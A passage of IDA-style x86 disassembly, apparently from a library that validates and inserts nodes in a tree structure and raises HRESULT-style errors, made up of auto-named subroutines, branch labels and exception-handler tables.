mov [ebp-6Ch], edi
loc_69B4C1CF: ; CODE XREF: sub_69B4BD17+4A7j
cmp dword ptr [ebp-64h], 2
jz short loc_69B4C1E3
mov eax, [esi+8]
shr eax, 0Fh
test al, 1
jz loc_69B4C290
loc_69B4C1E3: ; CODE XREF: sub_69B4BD17+4BCj
mov eax, [esi+8]
shr eax, 0Ah
test al, 1
jnz loc_69B4C290
test edi, edi
jz loc_69B4C290
mov ecx, [esi+0Ch]
mov [ebp-84h], ecx
call sub_69B3DABE
mov [ebp-88h], eax
mov eax, [esi+0Ch]
mov [ebp-8Ch], eax
mov al, [eax+82h]
mov [ebp-8Dh], al
mov eax, [esi+8]
shr eax, 0Fh
test al, 1
jz short loc_69B4C254
push 0
push ebx
mov ecx, esi
call sub_69B4AD10
mov [ebp-94h], eax
test eax, eax
jz short loc_69B4C250
push eax
mov ecx, [ebp-88h]
call sub_69B8B033
and dword ptr [edi+8], 0FFFFFFFBh
loc_69B4C250: ; CODE XREF: sub_69B4BD17+527j
and byte ptr [esi+9], 7Fh
loc_69B4C254: ; CODE XREF: sub_69B4BD17+513j
cmp dword ptr [ebp-64h], 2
jnz short loc_69B4C290
mov byte ptr [ebp-8Dh], 1
push 0
mov ecx, esi
call sub_69B47E6C
mov [ebp-70h], eax
push eax
push ebx
mov ecx, esi
call sub_69B4AD10
mov [ebp-98h], eax
test eax, eax
jz short loc_69B4C290
push ebx
push edi
push eax
push dword ptr [ebp-88h]
mov ecx, esi
call sub_69B481EB
loc_69B4C290: ; CODE XREF: sub_69B4BD17+4C6j
; sub_69B4BD17+4D4j ...
cmp dword ptr [ebp-64h], 0Ch
jge short loc_69B4C29B
cmp [ebp-64h], ebx
jnz short loc_69B4C2EA
loc_69B4C29B: ; CODE XREF: sub_69B4BD17+57Dj
mov eax, [esi+8]
mov ecx, eax
shr ecx, 4
and ecx, 3Fh
cmp [ebp-64h], ecx
jz short loc_69B4C2CA
shr eax, 14h
mov ecx, esi
test al, 1
jz short loc_69B4C2C0
xor eax, eax
push eax
push eax
push eax
call sub_69B4936A
jmp short loc_69B4C2C7
; ---------------------------------------------------------------------------
loc_69B4C2C0: ; CODE XREF: sub_69B4BD17+59Bj
push 0
call sub_69B48E56
loc_69B4C2C7: ; CODE XREF: sub_69B4BD17+5A7j
mov [ebp-68h], eax
loc_69B4C2CA: ; CODE XREF: sub_69B4BD17+592j
mov eax, [esi+0Ch]
mov [ebp-9Ch], eax
push dword ptr [ebp-68h]
push 0
lea ecx, [ebp-80h]
push ecx
push dword ptr [ebp-64h]
push dword ptr [ebp-70h]
push eax
mov ecx, esi
call sub_69B4858B
loc_69B4C2EA: ; CODE XREF: sub_69B4BD17+582j
mov eax, [esi]
lea ecx, [ebp-80h]
push ecx
push dword ptr [ebp-64h]
mov ecx, esi
call dword ptr [eax+0E8h]
loc_69B4C2FB: ; CODE XREF: sub_69B4BD17+6AFj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B4C3D8
; ---------------------------------------------------------------------------
loc_69B4C304: ; DATA XREF: .text:69B4C3E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4C30D: ; DATA XREF: .text:69B4C3E8o
mov esp, [ebp-18h]
mov esi, [ebp+8]
mov eax, [esi+8]
cmp eax, [esi+4]
jz loc_69B4C3C1
call sub_69B2E808
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+38h]
mov [ebp-0A0h], eax
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov [ebp-0A4h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [esi+18h]
and dword ptr [ebp-0A8h], 0
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
mov ebx, eax
mov eax, [esi+8]
test eax, eax
jz short loc_69B4C381
mov cl, [edi+0Bh]
and cl, 1Fh
cmp cl, 0Fh
jnz short loc_69B4C381
test ebx, ebx
jz short loc_69B4C381
push eax
mov ecx, ebx
call sub_69B48E56
mov [ebp-0A8h], eax
loc_69B4C381: ; CODE XREF: sub_69B4BD17+64Bj
; sub_69B4BD17+656j ...
mov eax, [esi+8]
mov ecx, [esi+4]
mov [esi+8], ecx
mov [esi+4], eax
test ebx, ebx
jz short loc_69B4C39B
mov eax, [ebx+8]
shr eax, 0Ah
and al, 1
jmp short loc_69B4C39D
; ---------------------------------------------------------------------------
loc_69B4C39B: ; CODE XREF: sub_69B4BD17+678j
mov al, 1
loc_69B4C39D: ; CODE XREF: sub_69B4BD17+682j
mov [esi+1Ch], al
push dword ptr [ebp-0A8h]
push esi
mov ecx, edi
call sub_69B4BD17
push dword ptr [ebp-0A4h]
push dword ptr [ebp-0A0h]
call sub_69B2E8A2
jmp short loc_69B4C3D8
; ---------------------------------------------------------------------------
loc_69B4C3C1: ; CODE XREF: sub_69B4BD17+602j
call sub_69B2E860
jmp loc_69B4C2FB
; ---------------------------------------------------------------------------
loc_69B4C3CB: ; CODE XREF: sub_69B4BD17+429j
cmp byte ptr [ebp-25h], 0
jz short loc_69B4C3D8
mov ecx, esi
call sub_69B4B872
loc_69B4C3D8: ; CODE XREF: sub_69B4BD17+34Fj
; sub_69B4BD17+387j ...
call sub_69B1853C
retn 8
sub_69B4BD17 endp
; ---------------------------------------------------------------------------
dword_69B4C3E0 dd 0FFFFFFFFh dd offset loc_69B4C304
dd offset loc_69B4C30D
; =============== S U B R O U T I N E =======================================
sub_69B4C3EC proc near ; CODE XREF: sub_69B4C674+365p
; sub_69B4C674+40Ap
push 44h
push offset dword_69B4C668
call sub_69B19C5C
mov esi, [ebp+8]
mov ebx, [ebp+0Ch]
test esi, esi
jz loc_69B4C59C
mov al, [ebx+0Bh]
and al, 1Fh
cmp al, 0Fh
jnz loc_69B4C57A
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+3Ch]
mov ecx, [eax+8]
mov [ebp-1Ch], ecx
mov ecx, [ecx+10h]
mov [ebp-20h], ecx
test ecx, ecx
jz loc_69B4C57A
and dword ptr [ebp-24h], 0
mov eax, [eax+0Ch]
mov [ebp-28h], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
mov edi, [eax+0Ch]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov ebx, [eax+70h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
mov eax, [eax+0Ch]
cmp eax, [ebp-28h]
jnz short loc_69B4C473
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp dword ptr [eax+10h], 0
jz short loc_69B4C473
mov [ebp-24h], esi
jmp loc_69B4C53B
; ---------------------------------------------------------------------------
loc_69B4C473: ; CODE XREF: sub_69B4C3EC+70j
; sub_69B4C3EC+7Dj
mov eax, [ebp-28h]
cmp eax, dword_69B95A6C
jnz short loc_69B4C4C5
mov eax, [ebp-1Ch]
cmp [eax+14h], edi
jnz short loc_69B4C4C5
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov edi, [eax+10h]
test edi, edi
jz short loc_69B4C4C5
push 1
push 1
push 0
mov ecx, [ebp+0Ch]
call sub_69B4AAFC
push 0 ; int
push 0 ; lpString
push eax ; int
mov ecx, ebx
call sub_69B4D394
push eax
mov ecx, ebx
call sub_69B4DA96
cmp eax, edi
jz short loc_69B4C4C5
mov eax, [ebp-1Ch]
mov ecx, [eax+14h]
jmp loc_69B4C552
; ---------------------------------------------------------------------------
loc_69B4C4C5: ; CODE XREF: sub_69B4C3EC+90j
; sub_69B4C3EC+98j ...
lea eax, [ebp-2Ch]
push eax
mov ecx, esi
call sub_69B48F23
jmp short loc_69B4C530
; ---------------------------------------------------------------------------
loc_69B4C4D2: ; CODE XREF: sub_69B4C3EC+148j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov ecx, [eax+0Ch]
cmp ecx, dword_69B95A6C
jnz short loc_69B4C517
mov eax, [eax+8]
mov ecx, [ebp-28h]
cmp [eax+14h], ecx
jnz short loc_69B4C525
push 1
push 1
push 0
mov ecx, edi
call sub_69B4AAFC
push 0 ; int
push 0 ; lpString
push eax ; int
mov ecx, ebx
call sub_69B4D394
push eax
mov ecx, ebx
call sub_69B4DA96
cmp eax, [ebp-20h]
jnz short loc_69B4C54F
jmp short loc_69B4C525
; ---------------------------------------------------------------------------
loc_69B4C517: ; CODE XREF: sub_69B4C3EC+F6j
cmp ecx, [ebp-28h]
jnz short loc_69B4C525
mov eax, [eax+8]
cmp dword ptr [eax+10h], 0
jnz short loc_69B4C538
loc_69B4C525: ; CODE XREF: sub_69B4C3EC+101j
; sub_69B4C3EC+129j ...
lea eax, [ebp-2Ch]
push eax
mov ecx, esi
call sub_69B486B5
loc_69B4C530: ; CODE XREF: sub_69B4C3EC+E4j
mov edi, eax
test edi, edi
jnz short loc_69B4C4D2
jmp short loc_69B4C53B
; ---------------------------------------------------------------------------
loc_69B4C538: ; CODE XREF: sub_69B4C3EC+137j
mov [ebp-24h], edi
loc_69B4C53B: ; CODE XREF: sub_69B4C3EC+82j
; sub_69B4C3EC+14Aj
mov ecx, [ebp-24h]
test ecx, ecx
jz short loc_69B4C577
mov eax, [ecx]
call dword ptr [eax+38h]
mov ecx, [ebp-20h]
cmp [eax+10h], ecx
jz short loc_69B4C577
loc_69B4C54F: ; CODE XREF: sub_69B4C3EC+127j
mov ecx, [ebp-28h]
loc_69B4C552: ; CODE XREF: sub_69B4C3EC+D4j
test ecx, ecx
jz short loc_69B4C55D
mov eax, [ecx]
call dword ptr [eax+2Ch]
jmp short loc_69B4C562
; ---------------------------------------------------------------------------
loc_69B4C55D: ; CODE XREF: sub_69B4C3EC+168j
mov eax, offset off_69B1A5AC
loc_69B4C562: ; CODE XREF: sub_69B4C3EC+16Fj
push 0
push eax
push 0C00CE202h
push 80070057h
call sub_69B2E9D0
add esp, 10h
loc_69B4C577: ; CODE XREF: sub_69B4C3EC+154j
; sub_69B4C3EC+161j
mov ebx, [ebp+0Ch]
loc_69B4C57A: ; CODE XREF: sub_69B4C3EC+21j
; sub_69B4C3EC+3Cj
test esi, esi
jz short loc_69B4C59C
mov eax, [ebx+0Ch]
cmp eax, [esi+0Ch]
jnz short loc_69B4C59C
mov eax, [esi+8]
shr eax, 0Ah
mov ecx, [ebx+8]
shr ecx, 0Ah
xor al, cl
test al, 1
jz loc_69B4C659
loc_69B4C59C: ; CODE XREF: sub_69B4C3EC+14j
; sub_69B4C3EC+190j ...
lea ecx, [ebp-50h]
call sub_69B48DB0
mov edi, [ebx+0Ch]
test esi, esi
jz short loc_69B4C5B3
mov ecx, [esi+0Ch]
mov [ebp-54h], ecx
jmp short loc_69B4C5B8
; ---------------------------------------------------------------------------
loc_69B4C5B3: ; CODE XREF: sub_69B4C3EC+1BDj
mov [ebp-54h], edi
mov ecx, edi
loc_69B4C5B8: ; CODE XREF: sub_69B4C3EC+1C5j
mov [ebp-50h], ecx
call sub_69B3DABE
mov [ebp-4Ch], eax
test eax, eax
jz short loc_69B4C5D1
cmp byte ptr [eax+2Ch], 0
jnz short loc_69B4C5D1
and dword ptr [ebp-4Ch], 0
loc_69B4C5D1: ; CODE XREF: sub_69B4C3EC+1D9j
; sub_69B4C3EC+1DFj
mov ecx, edi
call sub_69B3DABE
mov [ebp-48h], eax
xor ecx, ecx
cmp eax, ecx
jz short loc_69B4C5E9
cmp [eax+2Ch], cl
jnz short loc_69B4C5E9
mov [ebp-48h], ecx
loc_69B4C5E9: ; CODE XREF: sub_69B4C3EC+1F3j
; sub_69B4C3EC+1F8j
mov eax, [ebp-54h]
mov eax, [eax+70h]
mov [ebp-44h], eax
mov eax, [edi+70h]
mov [ebp-40h], eax
mov [ebp-3Ch], esi
mov [ebp-38h], ebx
cmp esi, ecx
jz short loc_69B4C60F
mov eax, [esi+8]
shr eax, 0Ah
and al, 1
mov [ebp-34h], al
jmp short loc_69B4C613
; ---------------------------------------------------------------------------
loc_69B4C60F: ; CODE XREF: sub_69B4C3EC+214j
mov byte ptr [ebp-34h], 1
loc_69B4C613: ; CODE XREF: sub_69B4C3EC+221j
cmp dword ptr [edi+0E0h], 1
setz al
mov [ebp-33h], al
mov [ebp-4], ecx
push ecx
lea eax, [ebp-50h]
push eax
mov ecx, ebx
call sub_69B4BD17
jmp short loc_69B4C64D
; ---------------------------------------------------------------------------
loc_69B4C631: ; DATA XREF: .text:69B4C66Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4C63A: ; DATA XREF: .text:69B4C670o
mov esp, [ebp-18h]
push 0
lea eax, [ebp-30h]
push eax
call sub_69B17320
call sub_69B2E860
loc_69B4C64D: ; CODE XREF: sub_69B4C3EC+243j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-50h]
call sub_69B48DB7
loc_69B4C659: ; CODE XREF: sub_69B4C3EC+1AAj
call sub_69B1853C
retn 8
sub_69B4C3EC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B4C668 dd 0FFFFFFFFh dd offset loc_69B4C631
dd offset loc_69B4C63A
; =============== S U B R O U T I N E =======================================
sub_69B4C674 proc near ; CODE XREF: sub_69B14EAC+77p
; sub_69B3D53E+10p ...
push 40h
push offset dword_69B4CBF0
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
or dword ptr [ebp-20h], 0FFFFFFFFh
xor ebx, ebx
mov [ebp-21h], bl
call sub_69B48CEA
test byte ptr [esi+0Ah], 0Ch
jnz short loc_69B4C6AE
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
jz short loc_69B4C6AE
mov ecx, esi
call sub_69B49504
loc_69B4C6AE: ; CODE XREF: sub_69B4C674+23j
; sub_69B4C674+31j
mov edi, [ebp+8]
cmp edi, ebx
jz loc_69B4C877
mov ecx, edi
call sub_69B1B42A
mov edi, eax
mov ecx, esi
call sub_69B1B42A
cmp eax, edi
jz short loc_69B4C6E0
push ebx
push 0C00CE21Bh
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4C6E0: ; CODE XREF: sub_69B4C674+57j
mov edi, [ebp+8]
xor eax, eax
mov al, [edi+0Bh]
and eax, 1Fh
mov [ebp-20h], eax
cmp [ebp+0Ch], ebx
jz short loc_69B4C720
mov ecx, [ebp+0Ch]
mov eax, [ecx]
call dword ptr [eax+0F4h]
cmp eax, esi
jz short loc_69B4C720
push ebx
mov al, [ebp+14h]
neg al
sbb eax, eax
and eax, 0Eh
add eax, 0C00CE20Bh
push eax
push 80070057h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4C720: ; CODE XREF: sub_69B4C674+7Dj
; sub_69B4C674+8Cj
cmp dword ptr [ebp-20h], 4
jz loc_69B4CBBB
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
cmp eax, ebx
jz short loc_69B4C73F
mov ecx, eax
call sub_69B48CEA
loc_69B4C73F: ; CODE XREF: sub_69B4C674+C2j
cmp edi, esi
jz short loc_69B4C74F
push edi
mov ecx, esi
call sub_69B4827F
test al, al
jz short loc_69B4C762
loc_69B4C74F: ; CODE XREF: sub_69B4C674+CDj
push ebx
push 0C00CE20Ah
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4C762: ; CODE XREF: sub_69B4C674+D9j
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 3
jnz short loc_69B4C7D0
mov eax, [esi+0Ch]
test byte ptr [eax+0ECh], 1
jnz short loc_69B4C7D0
mov [ebp-28h], ebx
cmp dword ptr [ebp-20h], 11h
jnz short loc_69B4C7AF
lea eax, [ebp-2Ch]
push eax
mov ecx, edi
call sub_69B49F0B
jmp short loc_69B4C7AB
; ---------------------------------------------------------------------------
loc_69B4C78D: ; CODE XREF: sub_69B4C674+139j
test byte ptr [eax+0Bh], 1Fh
jnz short loc_69B4C7A0
inc dword ptr [ebp-28h]
cmp dword ptr [ebp-28h], 1
jg loc_69B4CBCE
loc_69B4C7A0: ; CODE XREF: sub_69B4C674+11Dj
lea eax, [ebp-2Ch]
push eax
mov ecx, edi
call sub_69B47DCC
loc_69B4C7AB: ; CODE XREF: sub_69B4C674+117j
cmp eax, ebx
jnz short loc_69B4C78D
loc_69B4C7AF: ; CODE XREF: sub_69B4C674+10Aj
cmp [ebp-20h], ebx
jz short loc_69B4C7B9
cmp [ebp-28h], ebx
jz short loc_69B4C7D0
loc_69B4C7B9: ; CODE XREF: sub_69B4C674+13Ej
push ebx
push ebx
push ebx
mov ecx, esi
call sub_69B49C1F
cmp eax, ebx
jz short loc_69B4C7D0
cmp eax, [ebp+10h]
jnz loc_69B4CBCE
loc_69B4C7D0: ; CODE XREF: sub_69B4C674+F5j
; sub_69B4C674+101j ...
cmp dword ptr [ebp-20h], 11h
jz short loc_69B4C838
cmp [ebp+14h], bl
jz short loc_69B4C82F
mov eax, [edi+8]
shr eax, 14h
test al, 1
jnz short loc_69B4C800
push ebx
mov ecx, edi
call sub_69B481AF
push eax
push 0C00CE208h
push 80004005h
call sub_69B2E9D0
add esp, 10h
loc_69B4C800: ; CODE XREF: sub_69B4C674+16Fj
mov eax, [esi+0Ch]
test byte ptr [eax+0ECh], 2
jnz short loc_69B4C85B
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B4C85B
push ebx
push 0C00CE214h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B4C85B
; ---------------------------------------------------------------------------
loc_69B4C82F: ; CODE XREF: sub_69B4C674+165j
push edi
push esi
call sub_69B48307
jmp short loc_69B4C85B
; ---------------------------------------------------------------------------
loc_69B4C838: ; CODE XREF: sub_69B4C674+160j
lea eax, [ebp-30h]
push eax
mov ecx, edi
call sub_69B49F0B
jmp short loc_69B4C857
; ---------------------------------------------------------------------------
loc_69B4C845: ; CODE XREF: sub_69B4C674+1E5j
push eax
push esi
call sub_69B48307
lea eax, [ebp-30h]
push eax
mov ecx, edi
call sub_69B47DCC
loc_69B4C857: ; CODE XREF: sub_69B4C674+1CFj
cmp eax, ebx
jnz short loc_69B4C845
loc_69B4C85B: ; CODE XREF: sub_69B4C674+196j
; sub_69B4C674+1A4j ...
mov eax, [ebp+0Ch]
cmp edi, eax
jz loc_69B4CBE1
cmp eax, ebx
jz short loc_69B4C877
mov eax, [eax+8]
shr eax, 14h
test al, 1
jz short loc_69B4C877
mov [ebp+0Ch], ebx
loc_69B4C877: ; CODE XREF: sub_69B4C674+3Fj
; sub_69B4C674+1F4j ...
mov eax, [ebp+10h]
cmp eax, ebx
jz short loc_69B4C8B8
mov al, [eax+0Bh]
and al, 1Fh
cmp al, 4
jz loc_69B4CBBB
mov ecx, [ebp+10h]
mov eax, [ecx]
call dword ptr [eax+0F4h]
cmp eax, esi
jz short loc_69B4C8B8
push ebx
mov eax, [ebp+14h]
neg al
sbb eax, eax
and eax, 0Ch
add eax, 0C00CE20Dh
push eax
push 80070057h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4C8B8: ; CODE XREF: sub_69B4C674+208j
; sub_69B4C674+224j
cmp [ebp+18h], bl
jz loc_69B4C97E
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
jz short loc_69B4C8D4
cmp eax, 0Fh
jnz loc_69B4C97E
loc_69B4C8D4: ; CODE XREF: sub_69B4C674+255j
cmp [ebp+10h], ebx
jz short loc_69B4C8E6
push ebx
mov ecx, [ebp+10h]
call sub_69B4BCC4
mov byte ptr [ebp-21h], 1
loc_69B4C8E6: ; CODE XREF: sub_69B4C674+263j
cmp edi, ebx
jz short loc_69B4C945
mov byte ptr [ebp-21h], 1
cmp dword ptr [ebp-20h], 11h
jz short loc_69B4C910
cmp [ebp-20h], ebx
jnz short loc_69B4C903
mov eax, [edi+8]
shr eax, 0Eh
test al, 1
jnz short loc_69B4C937
loc_69B4C903: ; CODE XREF: sub_69B4C674+283j
push ebx
push ebx
push ebx
push esi
mov ecx, edi
call sub_69B4B0C7
jmp short loc_69B4C937
; ---------------------------------------------------------------------------
loc_69B4C910: ; CODE XREF: sub_69B4C674+27Ej
lea eax, [ebp-34h]
push eax
mov ecx, edi
call sub_69B49F0B
jmp short loc_69B4C933
; ---------------------------------------------------------------------------
loc_69B4C91D: ; CODE XREF: sub_69B4C674+2C1j
push ebx
push ebx
push ebx
push esi
mov ecx, eax
call sub_69B4B0C7
lea eax, [ebp-34h]
push eax
mov ecx, edi
call sub_69B47DCC
loc_69B4C933: ; CODE XREF: sub_69B4C674+2A7j
cmp eax, ebx
jnz short loc_69B4C91D
loc_69B4C937: ; CODE XREF: sub_69B4C674+28Dj
; sub_69B4C674+29Aj
cmp edi, ebx
jz short loc_69B4C945
mov eax, [edi+8]
shr eax, 14h
test al, 1
jz short loc_69B4C956
loc_69B4C945: ; CODE XREF: sub_69B4C674+274j
; sub_69B4C674+2C5j
mov eax, [ebp+10h]
cmp eax, ebx
jz short loc_69B4C97E
mov eax, [eax+8]
shr eax, 14h
test al, 1
jnz short loc_69B4C97E
loc_69B4C956: ; CODE XREF: sub_69B4C674+2CFj
mov ecx, esi
call sub_69B48D60
test al, al
jz short loc_69B4C97E
push ebx
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push edi
push ebx
push ebx
mov ecx, esi
call sub_69B48F40
push eax
mov ecx, esi
call sub_69B4B3ED
mov byte ptr [ebp-21h], 1
loc_69B4C97E: ; CODE XREF: sub_69B4C674+247j
; sub_69B4C674+25Aj ...
mov [ebp-4], ebx
mov eax, [ebp+10h]
cmp eax, ebx
jz loc_69B4CA2F
cmp [ebp+0Ch], eax
jnz short loc_69B4C99B
mov ecx, eax
call sub_69B48533
mov [ebp+0Ch], eax
loc_69B4C99B: ; CODE XREF: sub_69B4C674+31Bj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
cmp eax, [ebp+10h]
jnz short loc_69B4C9AE
xor eax, eax
jmp short loc_69B4C9B9
; ---------------------------------------------------------------------------
loc_69B4C9AE: ; CODE XREF: sub_69B4C674+334j
mov ecx, [ebp+10h]
mov eax, [ecx]
call dword ptr [eax+100h]
loc_69B4C9B9: ; CODE XREF: sub_69B4C674+338j
mov [ebp-38h], eax
mov ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp-38h]
push esi
push dword ptr [ebp+10h]
push ebx
push 2
call dword ptr [eax+74h]
mov dword ptr [ebp-4], 1
push dword ptr [ebp+10h]
push ebx
call sub_69B4C3EC
push dword ptr [ebp+10h]
mov ecx, esi
call sub_69B4843A
mov ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp-38h]
push esi
push dword ptr [ebp+10h]
push 2
push 2
call dword ptr [eax+74h]
mov [ebp-4], ebx
jmp short loc_69B4CA2F
; ---------------------------------------------------------------------------
loc_69B4CA00: ; DATA XREF: .text:69B4CC00o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4CA09: ; DATA XREF: .text:69B4CC04o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
mov ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp-38h]
push esi
push dword ptr [ebp+10h]
push 1
push 2
call dword ptr [eax+74h]
call sub_69B2E860
xor ebx, ebx
mov [ebp-4], ebx
mov edi, [ebp+8]
loc_69B4CA2F: ; CODE XREF: sub_69B4C674+312j
; sub_69B4C674+38Aj
cmp edi, ebx
jz loc_69B4CB23
cmp edi, [ebp+0Ch]
jz loc_69B4CB23
mov [ebp-39h], bl
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
mov [ebp-40h], eax
cmp eax, ebx
jz short loc_69B4CA61
push 1
push ebx
push edi
push ebx
push ebx
mov ecx, eax
call sub_69B4C674
loc_69B4CA61: ; CODE XREF: sub_69B4C674+3DEj
mov dword ptr [ebp-4], 2
mov ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp+0Ch]
push esi
push edi
push ebx
push 1
call dword ptr [eax+74h]
mov byte ptr [ebp-39h], 1
push edi
push esi
call sub_69B4C3EC
cmp dword ptr [ebp-20h], 11h
jz short loc_69B4CAA7
push dword ptr [ebp+0Ch]
push edi
mov ecx, esi
call sub_69B499AC
loc_69B4CA94: ; CODE XREF: sub_69B4C674+443j
mov ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp+0Ch]
push esi
push edi
push 2
push 1
call dword ptr [eax+74h]
jmp short loc_69B4CB20
; ---------------------------------------------------------------------------
loc_69B4CAA7: ; CODE XREF: sub_69B4C674+413j
lea eax, [ebp-44h]
push eax
mov ecx, edi
call sub_69B49F0B
loc_69B4CAB2: ; CODE XREF: sub_69B4C674+463j
mov [ebp-48h], eax
cmp eax, ebx
jz short loc_69B4CA94
lea eax, [ebp-44h]
push eax
mov ecx, edi
call sub_69B47DCC
mov [ebp-4Ch], eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp-48h]
mov ecx, esi
call sub_69B499AC
mov eax, [ebp-4Ch]
jmp short loc_69B4CAB2
; ---------------------------------------------------------------------------
loc_69B4CAD9: ; DATA XREF: .text:69B4CC0Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4CAE2: ; DATA XREF: .text:69B4CC10o
mov esp, [ebp-18h]
xor ebx, ebx
cmp [ebp-39h], bl
jz short loc_69B4CB02
mov eax, [ebp-1Ch]
mov ecx, [eax+0Ch]
mov edx, [ecx]
push dword ptr [ebp+0Ch]
push eax
push dword ptr [ebp+8]
push 1
push 1
call dword ptr [edx+74h]
loc_69B4CB02: ; CODE XREF: sub_69B4C674+476j
cmp [ebp+10h], ebx
jz short loc_69B4CB1B
push 1
push dword ptr [ebp+14h]
push ebx
push dword ptr [ebp+0Ch]
push dword ptr [ebp+10h]
mov ecx, [ebp-1Ch]
call sub_69B4C674
loc_69B4CB1B: ; CODE XREF: sub_69B4C674+491j
call sub_69B2E860
loc_69B4CB20: ; CODE XREF: sub_69B4C674+431j
mov [ebp-4], ebx
loc_69B4CB23: ; CODE XREF: sub_69B4C674+3BDj
; sub_69B4C674+3C6j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B4CBE1
; ---------------------------------------------------------------------------
loc_69B4CB2C: ; DATA XREF: .text:69B4CBF4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4CB35: ; DATA XREF: .text:69B4CBF8o
mov esp, [ebp-18h]
xor ebx, ebx
cmp [ebp-21h], bl
jz short loc_69B4CBB2
cmp [ebp+18h], bl
jz short loc_69B4CBB2
mov esi, [ebp+10h]
cmp esi, ebx
jz short loc_69B4CB65
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
cmp [ebp-1Ch], eax
jnz short loc_69B4CB65
push ebx
push ebx
push ebx
push ebx
mov ecx, esi
call sub_69B4B0C7
loc_69B4CB65: ; CODE XREF: sub_69B4C674+4D5j
; sub_69B4C674+4E4j
cmp dword ptr [ebp-20h], 11h
jz short loc_69B4CB8A
cmp [ebp-20h], ebx
jnz short loc_69B4CB7D
mov eax, [ebp+8]
mov eax, [eax+8]
shr eax, 0Eh
test al, 1
jnz short loc_69B4CBB2
loc_69B4CB7D: ; CODE XREF: sub_69B4C674+4FAj
push dword ptr [ebp-1Ch]
mov ecx, [ebp+8]
call sub_69B4BCC4
jmp short loc_69B4CBB2
; ---------------------------------------------------------------------------
loc_69B4CB8A: ; CODE XREF: sub_69B4C674+4F5j
lea eax, [ebp-50h]
push eax
mov ecx, [ebp+8]
call sub_69B49F0B
jmp short loc_69B4CBAE
; ---------------------------------------------------------------------------
loc_69B4CB98: ; CODE XREF: sub_69B4C674+53Cj
push dword ptr [ebp-1Ch]
mov ecx, eax
call sub_69B4BCC4
lea eax, [ebp-50h]
push eax
mov ecx, [ebp+8]
call sub_69B47DCC
loc_69B4CBAE: ; CODE XREF: sub_69B4C674+522j
cmp eax, ebx
jnz short loc_69B4CB98
loc_69B4CBB2: ; CODE XREF: sub_69B4C674+4C9j
; sub_69B4C674+4CEj ...
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B4CBBB: ; CODE XREF: sub_69B4C674+B0j
; sub_69B4C674+211j
push ebx
push 0C00CE212h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4CBCE: ; CODE XREF: sub_69B4C674+126j
; sub_69B4C674+156j
push ebx
push 0C00CE555h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4CBE1: ; CODE XREF: sub_69B4C674+1ECj
; sub_69B4C674+4B3j
call sub_69B1853C
retn 14h
sub_69B4C674 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B4CBF0 dd 0FFFFFFFFh dd offset loc_69B4CB2C
dd offset loc_69B4CB35
dd 0
dd offset loc_69B4CA00
dd offset loc_69B4CA09
dd 0
dd offset loc_69B4CAD9
dd offset loc_69B4CAE2
; =============== S U B R O U T I N E =======================================
sub_69B4CC14 proc near ; CODE XREF: sub_69B4CD82j
; sub_69B4D02C+F9p
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_69B48CEA
mov edi, [esp+8+arg_0]
push edi
call sub_69B18884
mov ecx, eax
call sub_69B1885E
test al, al
jz short loc_69B4CC45
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov ecx, esi
call sub_69B4BAA7
jmp short loc_69B4CC50
; ---------------------------------------------------------------------------
loc_69B4CC45: ; CODE XREF: sub_69B4CC14+1Cj
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+120h]
loc_69B4CC50: ; CODE XREF: sub_69B4CC14+2Fj
pop edi
pop esi
